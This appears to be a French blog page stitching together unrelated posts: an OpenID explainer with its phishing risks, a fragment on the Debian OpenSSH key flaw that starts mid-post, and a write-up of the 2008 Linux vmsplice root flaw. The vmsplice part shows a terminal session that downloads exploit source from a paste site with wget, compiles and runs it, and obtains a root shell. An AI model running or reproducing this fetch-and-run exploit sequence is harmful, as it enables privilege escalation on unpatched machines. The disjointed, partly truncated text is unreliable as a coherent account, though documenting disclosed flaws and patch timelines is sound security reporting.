Qu’est-ce qu’OpenID ?

Le but est de pouvoir se connecter à plusieurs sites indépendants les uns des autres sans avoir à créer un nouveau compte pour chacun, mais en utilisant au contraire un seul et même compte centralisé sur un serveur OpenID. Concrètement, il faut créer un compte sur un serveur d’authentification OpenID en fournissant plusieurs informations et on obtient une adresse du style http://utilisateur.serveur-openid.tld. On peut ensuite se rendre sur un site qui prend en charge OpenID et s’identifier grâce à cette adresse.
L’identification est plutôt simple (mais, comme on le verra ensuite, il faut y prêter attention car elle peut facilement être détournée par un pirate) ;

1. L’utilisateur rentre son URI dans le champ prévu,
2. Il est redirigé vers une page de son serveur OpenID pour qu’il s’identifie, s’il ne l’est pas déjà,
3. Le serveur lui demande quel profil il veut appliquer pour le site qui l’envoi si c’est la première fois que l’utilisateur s’y connecte,
4. L’utilisateur est redirigé vers le site de départ, qui récupère alors les infos.

Obtenir un(e) URI OpenID

Certains sites internet font aussi office de serveur OpenID, comme Wordpress.com, Orange, Blogger ou encore AOL, vous avez donc peut-être déjà sans le savoir un(e) URI (liste complète). Il est aussi possible de créer un compte chez des fournisseurs d’adresses OpenID qui ne font que ça. Le site officiel d’OpenID en recense 5 à l’heure actuelle, j’utilise personnellement myOpenID. Ce dernier a le mérite d’être simple et de proposer quelques parades aux risques de phising évoqués après. L’inscription ne requiert qu’un nom d’utilisateur et un mot de passe, bien qu’il soit possible de donner plus d’infos. Il est aussi possible de créer assez facilement des profils, de sorte que lorsque vous vous connecterez grâce à votre adresse OpenID à un site, vous pourrez choisir tel ou tel profil en fonction des informations que vous voulez fournir au site. Après l’inscription, on obtient son URI, dans mon cas : http://Nicoz.myopenid.com/.
À noter que l’adresse qui vous sert de login redirige aussi vers une page d’identité, en clair, quand vous la tapez dans un navigateur, vous arrivez sur une page personnalisable avec des informations sur le possesseur de l’OpenID.

Quels sites supportent OpenID ?

MyOpenID (le serveur OpenID présenté au-dessus, si vous avez suivi ), de même que le site officiel d’OpenID, propose un annuaire de sites qui prennent en charge OpenID (l’annuaire d’OpenID.net et l’annuaire de MyOpenID). Il ne faut pas se voiler la face, OpenID n’en est qu’à ses débuts et la majorité des sites qui le supportent sont anglophone. On retrouve cependant de plus en plus de sites francophones, parmi ceux-ci le site de memup, une marque française qui vend des disques durs externes et divers périphériques de stockage, ou encore WikiTravel, un guide de voyage libre (via cette page).
En fait, dès que vous verrez le petit logo OpenID, vous pourrez vous connecter ; il n’est pas impossible que ce blog propose bientôt ce mode de connexion.

Et la sécurité dans tout ça ?

Ah la sécurité… En fait, c’est là que le bât blesse. Le risque le plus important est le phising. Reprenons la procédure du début, c’est ce qui se passe quand tout le monde est gentil. Imaginons maintenant que le site qui vous propose une identification par OpenID soit le site d’un pirate, ça donnerait quelque chose comme ça :

1. L’utilisateur rentre son URI dans le champ prévu,
2. Il est redirigé vers une page qui imite celle de son serveur OpenID pour que le pirate récupère ses identifiants,
3. Le serveur lui demande quel profil il veut appliquer pour le site qui l’envoi si c’est la première fois que l’utilisateur s’y connecte,
4. L’utilisateur est redirigé vers le site de départ, qui récupère alors les infos.

Résultat des courses, le pirate est en possession des identifiants. Un phising en bonne et due forme. Heureusement pour nous, MyOpenID propose l’identification par certificat. En plus de ça, il est possible d’afficher une « image personnelle », qui permettrait éventuellement de se rendre compte d’un phising. Le risque est donc bien canalisé (l’utilisation de certificat est une parade sûre), mais il demeure tout de même présent.
On peut aussi se méfier des attaques XSS. Il est vrai qu’elles sont, de nos jours, bien connues, et donc que les webmasters ont peu de mal à les traquer, mais je considère que la meilleure solution reste d’installer l’extension NoScript.
En clair, ce n’est pas un protocole parfait au niveau de la sécurité, mais si on fait un peu attention, on peut considérer OpenID comme quelque chose de sûr.

→ Il faut remplacer les clés RSA générées avec la version d’openssh non sûre et les clés DSA utilisées avec un système Debian ou dérivé qui utilisait la version incriminée (même si j’espère que c’est déjà fait, vu mon temps de réaction ).

Le trou de sécurité a été révélé le 13 mai, et il ne cesse de faire parler de lui dans les forums, sur les blogs, et dans les listes de diffusions. Il y a une raison à cela ; la faille (qui a vécu 2 ans !) est extrêmement grave, elle met directement en péril la sécurité d’une distribution réputée qui équipe bon nombre de serveurs. De plus, la mise à jour ne suffit pas à la combler. C’est une affaire bien sombre qui a secoué la blogosphère libre ces derniers jours, mais qui n’empêche pas de rigoler : terminons ce billet sur une note d’humour, mieux vaut en rire qu’en pleurer !

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;

• Un article technique de LWN.
• Le changelog de la version 2.6.24.2.
• Avis de sécurité : Secunia – FrSirt – CVE-2008-0009 – CVE-2008-0010 – CVE-2008-0600.